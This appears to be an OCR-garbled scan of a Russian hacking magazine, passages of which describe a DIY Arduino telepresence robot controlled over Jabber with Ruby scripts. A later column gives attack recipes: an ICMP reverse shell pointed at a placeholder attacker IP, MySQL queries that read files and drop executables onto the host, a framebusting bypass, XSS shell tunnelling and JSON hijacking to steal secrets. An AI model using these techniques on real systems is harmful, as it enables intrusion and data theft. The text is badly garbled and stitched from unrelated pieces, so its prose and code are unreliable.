04HY CTOPOHY, a3HauunT, poboTy noTpebyeTcs NpoCcTPaHCTBO A1 MaHEBPOB —
pa3BoOpPOTHaMecTe AN HEro HelOCTYMeH.

OcHoBa 3Toil cxeMbl—noseBoi Tpansuctop (Q1, Q2) IRL530. Mo 3asiene-
HUWIO NPOU3BOANTENS, OH MOXET OTKPbIBATbCS OT IO MYECKOroypoBHABS B,
KOTOPbI BaeT BbIX04 apAynHo. YTobbl ynpaBnsTb MoTOpaMu naasHo, bynem
nopasatbHa HuX LUMM-curnan. B LUNM-pexuMe yacTb BpeMeHU BbIXOS,
BKJIOYEH, YaCTb BbIKJIOYEH, HO B CpeAHEM NoJyyaeTcs, byATo BbIX0o BKOYEH
HEnoHOM MOLLHOCTbI0. [lepektoYeHNs N3 COCTOSHWA B COCTOSIHUE MPOUC-
XO[AT C 4aCTOTOMN B HECKOJIbKO KUNOTEePLL, M CrIaXKMBaHWe 04eHb KayeCTBeH-
Hoe.llownpee, BCE [LOSKHO ObITb XOPOLLIO, a BOTTONbKO CNabeHbKUIA TOK 0T
MUKPOKOHTPOJIIEPa 04€eHb [J0JIT0 OTKPbIBAET 3aTBOP TPAH3MCTOPA, NO3TOMY
Noay4aeTCcs, 4T 60MbLLYIO YaCTb BPEMEHW TPAH3UCTOP MPOBOAMT B NONYOT-
KPbITOM COCTOSIHWW, KOTL,a €10 COMPOTUBIIEHNE BENINKO, a TOK YEPE3 HETO
He Man. BpesynbraTe Ha TpaH3UCTOPaX MOXHO XapnTb SUYHWULLY, NPaBaa,
HeZJoNro: Mou nocne NaTY MUHYT paboTsl poboTa cropenn Bosce. BoamMoxHo,
nyywe byfeTpaboTaTh Apyron NONYNSPHbLIATPAH3UCTOP—CYnpaBieHnem
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Matepuans pnswaccu

nekTpoHuKapoboTa

nornyeckumyposHeM —RFP30NO6LE nponssogcTsa Fairchild, koTopbiit
MOXeTynpaBnsTbcs nyposHem s 3,3 B.

Hoecnnyx3amopayumBaTbCcs CTakiMM poboTOM, MOXHO CAeNaTb BCE MO
MaKCUMyMY 1 COOPYAUTH MOTHOLEHHbI H-MoCT [cxeMa 2), 45 KoToporo B3aTh
MOSFET bl nomouiHee, Hanpumep IRF1310—c pabounmTokom 842 A.Y Takoro
TpaH3MUCTOpa faxe Npunycke MoTopa byaeT4-KpaTHbI 3anac no MOLLHOCTH,
TOYHO He CropuT. A4TOBbI OH OTKPbLIBAJICS MOJHOCTbIO M peann3oBbiBas BeCb
CBOW NoTeHLMan, ynpasnaTb UM bygeT cnelnanbHbii NosyMoCTOBOM ipaiiBep
IR2110. HMocTno3BonmnTKoNlecaMm BpaLLaThcs B 0be CTOPOHbI, a 3aLuLLLeHHas
cxema bypneTtpabotaTb cTabunbHo nbesneperpesa. CobpaTb ero HeCKobKo
croxHee—feTanei ropazao 6onbue (Tabnuua 2), MHOro 3aLWMTHBIX AMOA0B
1 GUNBTPYIOLLMX KOHAEHCaTOpoB. Ha MakeTke Takyto nnaTy cenatbeLie BO3-
MOXHO, HO NpoLLe byfeT BbITpaBUTb AN Hee cneluanbHyto nnaty. Caenatbee
[,0Ma MOXHO, HanpuMep, NpM oMol GoTope3ncTa, Ho 3TOTMeTo yA0beH,
TONIbKO ECJIN NAAThI NPUXOAUTCSA fienaTbyacTo. [1ns pa3oBoro npuMeHerns
npoue Bocnonb3osaTbes JIYT—nasepHo-yTXKHOM TexHooruei (no ccbinke
obyuvaloulee er BuAe0 goo.ql/risr).

MocneTorokak cnnoBasiyacTb CAeNaHa, €e HYXXHO MOAKII0YNTL K
Arduino. B cnyyae nepsoii cxeMbl ux bygetscerotpu—pasa k LLUAM-
BbixofaM 10m 11 noauH k 3emne. Cxene3oM NoKoHYeHo. Tenepb ckas 06
ynpasnsioLlem codre.

MbICJTIUTEJIbHbIV MPOLLECC

BupaeoayanonaHHble BcucTeMe nepeaalnTca He3aBUCUMO OTyNpaBaeHNS.
lopoamnTb cobCcTBEHHYIO CUCTEMY TeneKoHbepeHUun s TeneboTabec-
cMblcieHHo. MoxHo 3anpocToucnonb3osatb Skype unuenpeoyat Google,
obaoHMKpoccnnaTGopMeHHbl, MO3TOMY BCS MPOrpaMMHas 4acTb MOXeT bbITb
opraHu3osaHanofUbuntu. B ckaiine ynobHo noctaBuTh B HaCTpoiikax ranoy-
Ky «ABTOMaTUYeCKM 0TBEYATb Ha BbI30B», 4TODLI MOXKHO BbINI0 MOAKTHOUNTLCS
kpoboTyBNt06ON MOMEHT.

TenepbynpaBnsiowmiicopt. Ham noHapgobnTCS cepBepHas U KNeHT-
ckasivacTbansa PCvnpowuska gnsArduino. Ynpasnsiolme ckpunTbl bynem
nucatb Ha Ruby nogynpasnennem Ubuntu (Hukaknx xutpsix 6ubnuorek 8
CKpUMTax He MCMosb3yeTcsi, M OHM AO/KHbI paboTaTb v B cpefe Windows, nB
cpepe Cygwin). Ha 06enx MalimHax cTaBuM MHTeprpeTaTop:

sudo apt-get install ruby rubygems

MoMuMo pybu, noHagobuTcs ele nnapa bUbANOTEK Ha KNMEHTE ANS
paboTsi c Jabber'om:

sudo gem install xmpp4r-simple

Ha cepsepe, noMMMo Hee, NoHaf0buTCs eLe nbnbnnoTeka paboTbl cno-
cnefjoBaTeIbHbIM MOPTOM:

sudo gem install xmpp4r-simple ruby-serialport
YKopaacepBepanpocTas 3afaya—noy4nTbynpaBsioLLyio KOMaHay

no Jabber'ynoTtocnate ee MUKPOKOHTPOIEPY Yepe3 Noce0BaTe bHbIi

040

Bepywasvactb

nopt. DopMaTKOMaHL TOXe He cnoxeH —pABayncna ot 040 255, yepesnpo-
6en. Kaxmoe yncno—3Hayerue, Ha Bbixoge LLIMM —255 MakcumanbHas
ckopocTb, 0—ocTaHoBKa.

Kon cepsepa

require 'rubygems’

require 'xmpp4r-simple'

require 'serialport’

# NpouHULbIaNIU3MpoBanu Bce 6UbIMOTEKN
sp = SerialPort.new "/dev/ttyUSB@", 9600
# OTKpbIAM NOCNefoBaTeNbHbI NOPT

im = Jabber::Simple.new("ww@mail.com", "pass")
# coeamHunucb ¢ Jabber’om
while(true) do

# 1 10 6€CKOHEYHOCTH
im.received_messages do |message|

# npoBepsem npuwegune coobueHus

puts "#{message.body}"

a,b = message.body.split(' ")

# pasbupaem, ecam YTO-TO NpUWAO
sp.write a.to_i.chr+b.to_i.chr

# ¥ 3anucbiBaem B nopT

# nyckaii KoHTponnep pasbupaetca

end

sleep 0.05

# HeMHOro noroas BC& 3aHOBO

end

3aI'IyCTVITb 3TOTCKPUATNPOCTO KOMaH,ElOi;I

ruby telebot.server.rb

TEJIEBOT HATIPOKAT

CIMX04ellb NonpoboBaTh oLy TUTbL

cebs B wKype poboTa, TO AenaTb CBOErO

Teneb0Ta BOBCE HE HYXXHO. MOXHO B35iTb
0filHOTO Hanpokat. Hanpumep, nonynspHoro 40Bob-
HO M3BeCTHOro poccuiickoro RBot'a (teledroids.ru) —
BeapoobpasHoropoboTacoyeHb NOABUKHON LWeelt
1 Bo6poXenaTeNbHbIM BbIpaXKeHWEM INLLA, XOTS OH
CO3/1aH B OCHOBHOM /19 peKaMHbix Leneit. [lns
BECEJI0r0 BPEMSANPOBOXAEHUS MOXHO Nonpo6oBaTb
foneeapkafHbIi BapuMaHT: nonrpaTh B LIyTEp OT
nnuapobora (robot-war.ru) unm noroHaTe No napky
Ha peanbHbIX MaluHKax (glavbot.ru)

RBot—pycckuit Tene6or
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MocneTorokak KOMaH[a 0ToC/laHa KKOHTpOJ1/1epy, ee Hy)XKHO pa3o6paTb n
TaMyXe3anucaTb COOTBETCTBYOLLME 3HAYEHNSA B HOXKY.

CkeTy ana Arduino

int 1Pin = 10; // NeBbiit MOTOp
int rPin = 11; // MNpasblit MOTOP
int command = 9;

void setup() {
Serial.begin(9600); }

void loop() {

if (Serial.available() > @) {

// 4MTaem KOMaHAy NpaBoro MoTopa
command = Serial.read();

// nvwem KoMaHAy nNpaBoro MoTopa
analogWrite(rPin, command);
Serial.println(command, DEC);
// 4MTaem KoMaHAy NeBOro MoTopa
command = Serial.read();

// 3anucbiBaem KOMaHAy NeBOro MoTopa
analogWrite(1Pin, command);
Serial.println(command, DEC);
//B TeyeHne 300 MC MOTOpbI KpyTATCA
delay(300);}

//noTom oTKAKYawTCA

//V XAYT HOBbIX YKa3aHUi
analogWrite(rPin, 0);
analogWrite(1Pin, @); }

BnaropapsiTakoMy npocToMy popmMaTy nepeaayu coobleHnin cepaepy
KJIMeHTa MOXHO He NCaTh M BOBCE, MPOCTO CUAMN B YaTVKe 1a nepenuchiBaincs
cpoboToM. Takoii BapuaHT, KOHEHHO, MasoyfobeH, NO3TOMY eLlle OAWH CKPUNT,
KOTOpbIN ByAeTYnTaTh HaXATUSA K1aBULL KNaBUATYpbl M OTCbINATb KOMaHAbI
nonxabbepy.

MoHWMaTb OH byeTTpy cTpenoyku, aTakxe undpel o1 1 403, koTopble
3a/aloT CKopoCThb. B ckpunTe ncnonbayetcs HebonbLIOe KONNYECTBO Maruu,
KOTOpasi Mo3BOJIAET KOHCOSIbHOMY NMPUITOXKEHMIO YNTaTb HaXKaTUs KNaBunL 6e3
nofTBepXaeHus knasuwei Enter.

Koa knueHTa
require 'rubygems’
require 'xmpp4r-simple’
@a = 255/3
@im = Jabber::Simple.new("qg@mail.com", "pass")
@recipient="ww@mail.com"
# yuTaem knaBuwKn 6e3 HaxaTtus Enter
def read_char
begin
#Marusa HauuHaeTca
old_state = 'stty -g’
system "stty raw -echo"
c = STDIN.getc.chr
if(c=="\e")
extra_thread = Thread.new{
c = ¢ + STDIN.getc.chr
c = c + STDIN.getc.chr
}
extra_thread.join(0.00001)
extra_thread.kill
end
rescue => ex
puts "#{ex.class}: #{ex.message}"
puts ex.backtrace
ensure
system "stty #{old_state}"
end
return c
# Marma KoH4aeTcA
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BAJIAHCUPYIOLLNIA
NBYXKOJIECHBIV POBOT

Tobbl caenaTb banaHcmpytollero poboTa, Hy>XKHa npocTas BYXKO-

necHas pobonnaTtdopma, KKoTopoi Heobxogumo fobaBnTb rrpockon

L0191 U3MEPEHWSA YTI0BOM CKOPOCTH OTKIIOHEHNS [4T0BbI NOHATS, Koraa
poboTHayHeT3aBanMBaTbCA) M aKcenepoMeTp, YToBbl 3HaTh, B KaKyH CTOPOHY Ha-
npasrieHa rpaBUTaLmWs, U KOPPEKTUPOBATbL NoKasaHus rmpockona. BeinyckatoTcs,
npaBAa, 3TU MUKPOCXEMbI BYXKAaCHO MeJIKMX KOpMycax, C KoTopbIMW paboTaTb oMa
NoYTU HEBO3MOXHO, NO3TOMY npolue Bocnons3osaTbcs DIP-Mogynamu, Hanpumep
oTkoMnaHum Sparkfun (rupockon sparkfun.com/products/9059 nakcenepometp
sparkfun.com/products/844). BkayecTse 0CHOBbLI MOXHO B3aTb daiisibl NpoeKTa
ArduRoller (github.com/fasaxc/ArduRoller] —TaMy»e eCTb roTOBbIA KOA M CXEMBbI.

end
#pa3bupaemcs C NPOYUTAHHLIMU KNABUWAMM
def show_single_key

c = read_char
case ¢
# No HaxaTWK KHOMKM OTCbiNaeM coobleHne
when "\e[A"

puts "Bnepep"
@im.deliver(@recipient, @a.to_s+" "+@a.to_s)
when "\e[C"

puts "Hanpaso"
@im.deliver(@recipient, "0 "+@a.to_s)
when "\e[D"

puts "Haneso"
@im.deliver(@recipient, @a.to_s+" @")
#umndpbl oT 1 A0 3 onpefenAwT CKOPOCTb
when "1"

puts "1"

@a = 255/3
when "2"

puts "2"

@a = 255*2/3
when "3"

puts "3"

@a = 255
# N0 esc MpuKpbIBaeM NaBoYKY
when "\e"

Process.exit
end
end
#3anyckaem npocnywKky A0 KOHUA BpeMeH
show_single_key while(true)

BceroToso! 3ar|yCKaeM KJIMeHTn cepBep ukKaTaeMcano KBapTmpe. MoTom
MOXHOMPOBECTUNYNNYHbIE ncnbiTaHns —obuiasch cocnerka N3yMNIeHHbIMU
NPOXOXNUMN.

KYOAKATUTHCA OAJIBLUE?

Ckonbko 3To cToM0? HaTenexky c MoTopaMu, akKyMynsTopamMu v npoynm
ywnoHe bonee 100 gonnapos, HeTOyK 5 6pas CBOWA, HO 3a Mapy COTEH TOYHO
MOXHO NpuobpecTn NofobHbI cnerkanoaepxaHHbiin. U tenenpucytcTey-
BaTb B pa3HbixMecTax!

XoTsiHa 3TOM He CTOMTOCTaHaBAMBaTbCS! Jlerko3acTaBUTb eroKaTaTbCs
Mo BaroHaM 3eKTPUYKK, Cobrpas NoXKePTBOBAHUS Ha Pa3BUTHE OTEYECTBEH-
HOM POBOTOTEXHUKM, M TaK OKYNWUTb 3aTPaThbl HA €ro MOCTPOKY. AMOXHO
YCTaHOBUTb Ha HEero NofiHoueHHyto poboonepaymnorky ROS (ros.org/wiki/),
HaBeCWUTb Pa3HO0bPa3HbIX AATHNKOB M OBECTN €10 N0 MHTENNEKTY A0 YPOBHSA
WillowGarage PR2(g00.9l/SDr8) unu RBot (rbot.ru). 3¢
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B3JIOM/EASYHACK

Tiopuh «GreenDog» Anekceit, DSecRG.ru (agrrrdog@gmail.com, twitter.com/antyurin)

FASY

HACK

OPIFAHU30BATb CKPbITbI KAHAJI CBAI3U

C KOMMbIOTEPOM 3A ®AUPBOJIOM

PELLEHWE

KoHeyYHo, caMoe npocToe — 3T0 3abMHAUTL We Ha KakoM-HWbyab
TCP-nopTyununopranunsosaTb back connect. Houto genatb, ecnnatu
BO3MOXHOCTW HEA0CTYMHbI: HAa BUHA-LIenna He XBaTaeTNpas, a UCXoas -
wmne TCP-kKoHHeK Tl bnokupyloTcs dpaipsonom?

B HaleM pacnopsieHunv Bce Apyrue NpoOTOKObl, UHKANCYIMPOBaTh
MOXHO KyAayroaHo. OAVH 3 OTNIUYHbLIX BApMAHTOB— UCMOb30BaTh
DNS-TyHHenb B BapuaHTe, peannsosaHHoM AsiekceeM CHHLOBbIM [ynTam
B 147-mBbInycke X). Ho ceroaHs MHe xoTenock 6bl pacckasaTb 06 ucnosnb-
30BaHuMK Wenna, pabotatoweroyepesnpotokon ICMP, —aecnn koHkpeT-
Ho, To 0 peanu3sauyun ot Bernardo Damelenero gpyra Nico: reverseicmp
shell. Kak acHo, B JaHHOM Cly4ae Ha KNneHTe (To eCTby Hallen XepTBbi)
OTKPbLIBAETCA LWE U BECH M0 UCXOAALLMIA TpaduK NMxaeTcs B nake-

ol ICMP echorequest (06biuHble ping'n). Y Hac Ha cepBepe Mbl Napcum
LaHHble BXOASALMX 3anpocoB, a B oTBeTHbIX ICMP echo-reply-nakeTtax
nepefaeM KOMaHAbl KIMEHTY.

B npuHunne, TeMa LOBONIbHO CTaHAAPTHAS, HO 3[1€Cb €CTh fiBE OT-
NINYNTENbHbIE U NPUSATHBIE ANF HAac 0ocobeHHocTU. Bo-nepBbix, Tak Kak

| B O e I o e - b e ot A TR ML 00w 0 0 10

bt = = Sheill =

I'Iﬂl-lw‘l . View Bovkmarks Bellings Help

PaboTtalCMP-wenna: cBepxy—KJMeHT, BHU3y —cepBep
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aTonocytuback connect, To waHckl npeooneTs GanpBos CyLeCTBEHHO
noBblwatoTcs. Bo-BTOpPBIX, 13T rNaBHas GpuLiKa, 3TOT WwennHe Tpebyet
afMUHCKNX NpaB: pa3paboTynkn NOTPYAUINCH U HE UCMONb30BaNN raw
socket'sl. UTak, 03aeM.

Y xepTBbl
icmpsh.exe -t ha.ck.er.ip

VIMeeTca HeCKoNIbKo HAaCTPOeK KNNeHTa, KOTopble BbibpaloTcs B 3aBU-
CUMOCTN OT HEOBXOANMON CKPLITHOCTW U CKOPOCTY KaHana. Tynza HeMHoro
rIOYNT, TaK YTO HEKOPPEKTHbIE HACTPONKM BylyT 3aMeTHO CKa3blBaTbCs Ha
paboTocrnocobHocTy.

Y cebsa
./icmpsh_m.py ha.ck.er.ip vi.ct.im.ip

3[ecb MblyKa3biBaeM no o4epean coii [P vagpec Halen xepTBsl,
0TKyfa byayT NpuxoanTh MUHIU. KNMeHTCKas YacTb HanMcaHa To1bKo nog,
Windows, 4To, BobLieM-To, nornyHo. PabotaeTotnmyHoy becnpaBHbIx
lo3epoB, kak Ha XP, Tak n B 7-ke.

CepBepHas yacTb peanm3oBaHa cpa3sy HaTpexa3bikax— Perl, C,
Python.XoTsin3assneHapabotaHascex OC, HO Ha NPaKTUKe HYXXHO NOJIb-
30BaTbCs HUKCaMW. CBA3aHO 3TO Kak MUHUMYM CTEM, YTO Nepes 3anyckoMm
cepBepHoii yacTn Heobxoanmo oTkNtounTby OC 0TBETHI Ha BXOAALLME
ICMP-ping-3anpocsbi:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

Ellle 0fiHa NPUATHOCTL B TOM, YTO AaHHbI KOMNNEKTTenepb oduLiManb-
HO BXOAMT B sqlmap.

KoHeuHo, 3aLLMTUTLCS 0T TaKoro Xxeka 04eHb NPOCTO: afiMUHY byneT
[l0CTaTOYHO NnLWb 3abnokupoBaTb ucxoaawmit ICMP-Tpaduk. OgHako Ha
NpaKTUKe 3To fileNaeTcs KpaiHe pejko, noaToMy TemMa byneTt pabotatbB
abconoTHOM boNbLIMHCTBE CETEN.
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EASYHACK

NoJIYYUTb AOCTYN K ®AUNIOBOU CUCTEME U3 MYSQL

PELLEHWE

Ceituac 6nekxaTaM 4acTo HeT CMbICJ1a Jie3b B KOPMOPATUBHYIO CeTb, BEAb
OCHOBHOM NpoduUT— Baza faHHbIX, KOTopas 0bbIYHO «LOCTyNHa» Yepes
Beb-noptan komnanuu. Cnoman canT — nonysun goctyn k 6, nansiie
Ne3Tb 00bIYHO HET CMbICHa.

HoTak bbiBaeTHe Bcerpa. Hanpumep, cutyaymus: Mbl nonMenu Kakyo-To
6a3y aaHHbIX, HO Halla LieNlb— Apyrasi cucTeMa Ha ToMxe xocTe. BoTTyTy
nosiBAsieTCA 3aja4a noayyYnTb BO3MOXHOCTb BbINOAHATL KOMaHbl B OC unu
x0T 6bl YnTaTh Gaitnbl. Broporo obuTbca npote, Tak Kak 3ToT yHKLMO-
Han4acTo [OCTyrneH HeNnpyUBMUAErnpoBaHHbiM nonb3osaTtensam CYB/.

OcHoBHOW NyTb—ucnonb3osaHue GyHkumuu Load_File(). Ons yteHus
Heobxoaumbl npuennernn FILEn CREATE TABLE. KctaTu, nog BuHaoi
LWaHCOB Hayaa4yHoe YTeHne dpaitnos bosblie, Tak Kak MycKyJ 3anyckaeT-
CSNOAMPUBUIErNPOBaHHON yYeTHoM 3anuckto LocalSystem. B nyywem
crlyyae, ecyiMy Hac eCTb BO3MOXHOCTb BbIMOJIHATL NOC/I€40BaTEIbHOCTD
KOMaHp, AN 4TeHns buHapHoro dainanotpebyeTcs cneayoWwmnii Koa:

SELECT HEX(LOAD_FILE(C:/test.exe)) INTO DUMPFILE ‘c:/windows/
temp/blablabla’;

CREATE TABLE readtest(data longtext);

LOAD DATA INFILE 'c:/windows/temp/blablabla’ INTO TABLE
readtest FIELD TERMINATED BY '\\' (data);

MosicHto. 3Aecb B NEpPBON CTPOKE Mbl YNTAEM HEOOXOAMMBI BUHAPHUK 1
nnuxaeM eroBo BpeMeHHbI $paiin B LwecTHaALaTepuyHoM Bue. ITo Heobxo-
LMMO A/191 TOTO, 4TOObI NPeBpaTUTb BUHAPHUK B «0BbIYHbIN» TeKCT. fanblue

co3faeMTabanuy cogHumnonemtunalongtext. Brpetbeli ctpoke —nop-
rpy>kaeM TObKO YTO CO3JaHHbIN BpeMeHHbI Gaiin B Hally HOBYI0 Tabanyky
Cy4YeTOM pa3bueHns CTPOKM N0 TUMY OKOHYAHWS CTPOK. B obuem, Bce noruny-
HO. [P YTEHWUN TEKCTOBbIX GaiiIoB 0T MEPBOTO NYHKTa MOXHO N36aBUTbLCS.
LOnaToroytobel 3anuncatb daitn e OC, Heobxogumo umeTb npasa FILE,
UPDATE, INSERT, CREATE TABLE. Mo cyTu, HaMm TpebyeTcs yxe onucaH-
Has komaHpa SELECT cykasannem INTO DUMPFILE. Cpa3yoTMmeyy, uToy
HacecTb BO3MOXHOCTb TOJIbKO Mepe3anuncbiBaTh CyLWeCTBYIOLWUIA paitn,
HO HUKTO HE MeLlaeT HaM CHayasa ero npoYnTaTh, a noToM, fobasus ceou
[laHHble, 3anncaTb 06paTHO. B cNoXHbIX Clyyasx, Koraa HaMm HeobxoguMo
3a/IMTb OMHAPHUK, Mbl MOXKEM BOCMOJIb30BaTbCSA ClIeAyloLLeli nocieoBa-
TenbHOCTbI0. Bo-nepBbix, pa3buTs brHapHWK Ha YacTu B BUAE hex-cTpoku
nnnHoino 1024 6aiTa. Bo-BTOpbIX, BEINOAHUTL CleAytoLLIME KOMaHbI:

CREATE TABLE writetest(datalongblog);
INSERT INTO writetest(data) VALUES (0x4d5a90..610000);
UPDATE writetest SET data= CONCAT (data,@xaa27000000..000000);

[
SELECT data FROM writetest INTO DUMPFILE 'C:/windows/Temp/test.exe';

34ech Mbl HanepBoM Lare co3faeM Tabanyky c ofHUM NoneM Ans
XpaHeHus 6uHapHuKa. Ha BTopoM Lware B JaHHOE MoJie Mbl K1afieM Nepayio
hex-cTpoky.AnoToM nocneAoBaTeNbHbIMU KOMaHAaMWU KOHKaTEHAL UK
nobasnseMocTanbHble hex-cTpokn. HanocnefHeM ware, 3a cyeT cenekTa,
CKMfbIBaeM 3HayeHune noss e exe'wnk B ilobom mecte OC. OnucaHHble MeTo-
AMKM 0CHOBaHbI Ha paboTe BepHaHgo [lamene (BlackHat 2009, goo.gl/23808).

OBOUTU FRAMEBUSTING-3ALLUTY

PELLEHWE
Mapy HoMepoB Ha3aj st pacckasbiBan npo XSS-track (goo.gl/IXmF8) —Ha-
rpy3ky ans XSS-yassumocteit. CyTb ee B TOM, 4To oHa flobaBnseT Ha
YsI3BUMYIO CTPaHMLLy ppeiiM pa3mMepoM Bo BECb 3KPaH, B KOTOPOM 3a-
rpy)xaeTcs Apyrasi CTpaHuLa 3Toro e AoMeHa. [onb3oBaTtesib Npu 3ToM
BUAMT HOPMaJbHYI0 CTPaHWLLY caiiTa, Ho BCe ero AeiCTBUSA OTCNeXnBa-
t0Tcst XSS-TpekepoM: BCe, YTO HAaXOAMTCS BHYTPU dpeiimMa, LOCTYMHO 13
JavaScript, a kpoMe TOro, HeKOTopble AeACTBUA MOXHO U 3MYIMPOBaTb.
Kpocc-goMeHHble MOIMTUKM TYT He IECTBYIOT, Tak Kak NoJib30BaTeslb He
NoKWAaeT LOMeHa.

BrnpoueM, oTTakux GppeiMoBbIX HAarpy30K AaBHO yXKe eCTb 3aluTa. B
npocTeilleM BUAe OHa NpefcTaBaseT coboit HebonbLwoi JavaScript:

<script type="text/javascript">
if(top != self) top.location.replace(location);
</script>

[laHHbI CKpMNT pa3MellatoT Ha cTpaHuLax 3almwaemoro caira. OH
NpoBEepSeT, 3arpy>XeH 1M B ppeiiMe, v nepe3arpyxxaeTt cTpaHuLy B cilyyae
obHapyxeHus aToro akTa. Honspech Mbl koe-4To MoxeM caenatb. OguH
13 cnocobos, NpaBfa, He 04eHb ryMaHHbI—06pe3aTb BO3MOXKHOCTH
sBackpunTaBo ppeiime. [lenaeTcs 3703a cYeTUCNONL30BAHNS NapamMeTpa
sandbox, koTopbiinossuaca B HTMLS nyxe nogaepxusaetcs bpaysepamu.

<iframe src=?http://www.victim.com? sandbox="allow-same-origin
allow-forms allow-scripts"></iframe>

3,D,er Mbl «pa3)Xasin» Hally neco4HuLy, no3Bonqas I'IpOBO,D,I/ITbﬁOJ'Ib-

LWUMHCTBO [eCTBUI BHYTPU PppeiiMa B LUTaTHOM pexxume. Ecnu Mblybepem
allow-scripts, ToiBackpunTbl BHYTpY dpeiimMa He 3anycTaTcs. Ho yTo Bax-
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Ho fAs Hac, allow-top-navigation B cnucke paspeLleHnii 0OTCY TCTBYET, TEM
caMbIM 3anpellas CKpUnTam BHyTpU dpeiiMa nepexofuTh Ha Apyrve caiTsl
OCHOBHbIM OKHOM. To ecTb C dpeiiMaXepTBa yKe HUKYAA He AeHeTCs.

Y paHHoi TexHonoruv obxopa framebusting-3awwmnTel eCTb 0ANH
BPEMeHHbIV MUHYC: noaaepxuBaeTcs 3TaHoBass HTMLS-duyaTonbkono-
cnepHuMy bpaysepami, fanTo He BceMu. Ty Ty 3aflyMaellibCsl, HAaCKOIbKO
KPYyTO MMeTb CaMblii NPOABUHYTHIN Bpay3ep.

BkayecTBe akcnepuMeHTansHoro u bpayseposaBucuMoro BapuaHTa
MOXHO MPeaJsIoKUTb naeto 06xoa 3a cyeTBCTpoeHHoM B IE8/9 3awmTei oTXSS.
®uyaBTOM, YTOOLI NEPeXofUTL Ha CTpaHuLbl ¢ framebusting'om, fobasnss
BaApecnpwv nepexoge npocteriume JavaScipt'sl (XSS). ®unbtp IE, «yBuaes»
oTpaxKeHHyio XSS'Ky, aBTOMaToM OTK/Il04aeT ABaCKpUNT Ha CTpaHuLe (Toi, 4To
BHYTpU bpeiima), v framebuster He akTuBMpyeTCs. TakMM 06pa3oM, A5 SKCY-
naTtauuu HaM HyXXHbl noyTy aBe XSS-abipkn. OfHa Ans Toro, 4To6bl NOArpy-
3nuTbaBackpunTc dpeirimom (stored XSS nnureflected, ecnn ol sHaews, kak
0601TH |IE-dunbTp), M BTOpas— NS NOACTAHOBKM BO GpeiiMe M aKTUBaLmu
¢unbTpaBlE. CornaceH, 4ToXMTpo, HO Kak MAes 370 OBOSIbHO MHTEPECHO.
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BknloyaeM necoyHnuLy —oTK/Il0YaeM ABacCKpUNT Bo Gpeiime
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BbDDKATb MAKCUMYM U3 XSS

PELLUEHWE

1 xouy HemHoro nosefathb 0 Shell of the Future. K coxaneHuio,

3T0 BCETO NIWLLb 3KCNEepMMeHTanbHasa pa3paboTka, Tak Y4To Moka KpaTKo.
B HTML5 nosiBnsieTcs Takas Belub, kak COR —Cross-origin requests.

C vx nomoLLblo bpaysepbl CMOryT NOChINATh KPOCC-AOMEHHbIE BbI30BbI

M NoJsly4aTb OTBETHI, €C/IN CEpBEP 3TO pa3peLuunT. B utore MoxHo byaet
TyHHenuposaTb HTTP-Tpaduk. Mo npee 31o BbIrNSANT Tak:
MepTBanepexofuTno ccoinke ¢ XSS.
XSS nogrpyxaetHarpysky —wenn (Shell of the Future).

Mbi paspeluaem Ha cBoeM cepeepe npuemTakunx COR'0B.
WennoTcnexusaergeincTeus nonb3osartens notnpasnsetux COR'amu.
B COR-oTBeTbI Mbl KN1aeM Heobxo4MMble L5 BbINOTHEHUA KOMaHAbI.
Haw wennyntaetotBeTl COR M BLINONHAET HEOOX0OANMbIE AEACTBHUS.

el S

[lonaToronyHkTaBce paboTaeTnpsimo ceryac. o cyTn ocHoBHas
¢brya—>3T0 BO3IMOXKHOCTHL 06paboTku oTBeToB JavaScript'om. BuTore Mol
nonyyaem pesepcoBbliii http-wenn.

TexHonornu aBuKyTCs. Y10 CaMoe cTpalHOe — MOXHO N0A3aTh Mo
aTaKkyeMOoMy caiiTy 0T UMeHW Hallei kepTBbl B cBoeM bpay3epe. Ho3gech
y>e He noMoryTHu framebusting, Hu3awnTa kykucos dnaramu HttpOnly/
Secure.ABTop 3aTorouyna—JlaBakymap KynnaH. EcnuuHtepecHoyrny-
BUTbCH, paCCMOTPETL TOHKOCTU M MOMpaKTUKoBaTbCs —www.andlabs.org/
tools/sotf/sotf.html.
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Shell of the Future: oduunanbHas cxema

YKPACTb KOHOUAEHUUAJIBHYIO UHOOPMALIUIO

PELLUEHUE

B naHHoOM 3apauke s Xo4y pacckasaTb 0 Takol Beln, kak JSSON

Hijacking. V1 xoTs ceiluac aTa TeXHUKa He CAMLLIKOM aKTyasbHa, MHe

0YeHb 3aX0TENI0Ch PACCKa3aThb 0 Hel, TaK KaK OHa MCNoJb3yeT LOBOSIbHO
VNHTEpeCHble N HecTaHAapTHble noaxonbl. Tak, HanoMHio: JSON — 310
TeKCToBbI popMaT 0bMeHa flaHHbIMUW, 0OCHOBaHHbIN Ha JavaScript n
Mcnonb3yeMsblii ceryac B ocHoBHOM B Ajax-npunoxenusx. JSON Hijacking
—no cyTu, 310 noasug CSRF (Cross-site request forgery), Bo Bcsikom
Cny4yae OCHOBaH Ha HeM.

MpeanonoxmMm, y Hac ecTb cepeep, KOTopbIi Npu oTcbiKe Ha http://
server/secret-info.json GET-3anpocau3syyaeT Halwu Kyku (Hanpumep), u
eC/IM OHM UMeloT onpefeNleHHOe 3HaYeHne, BO3BpaLlaeT KOHGUaeHLanb-
HYto UHbOpMaLmio:

"aaaa", "password"
p

Takasi cutyaunsa nHasbiBaetcst CSRF—Befb cepBep He npoBepseT HU-
4ero, KpOMe HaIMY NS KYKMCOB, U Mbl MOXEM NMOALENaTb 3anpoc, Hanpumep,
pa3MecTuB Ha o060 CTpaHULLEe B MHTEpHeTE CleAy oL Ui KOA:

<script src=http://server/secret-info.json>

[pnobpaboTke Takon cTpaHuMLbl bpay3ep oTNpaBUT3anpoc Ha cepBep
nnonyyntcekpetHble JSON-faHHble. HoBoTbea— 310 Ke He Kof,
JavaScript, amaccuB JSON, nbpaysep, noHATHOE fles10, He CMOXKET ero
ncnonHUTh. Kak e HaM Mony4nTb oTclofa AaHHble? PelieHne nexunT B
ToM, 4Tobbl NepeonpeaennTb B JavaScript noHATME MaccuBa B yHKLMIO
cnepywLmuM obpasom:

<script type="text/javascript">
var secrets;

Array = function() {

secrets = this;
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</script>

Tenepbnonyyaemsbliii c cepsepamaccub JSON byneTtobpabaTtbiBaTbes
Kak GyHKLMS, BO3BpaLlatoLias 3HaueHve. [1ns u3BneyeHns 3Ha4eHni no-
TpebyeTcs cnenyoLWwmin CKpUNT.

//penaem GET-3anpoc u nosny4aem JSON
<script src="http://server/secret-info.json"
type="text/javascript"></script>

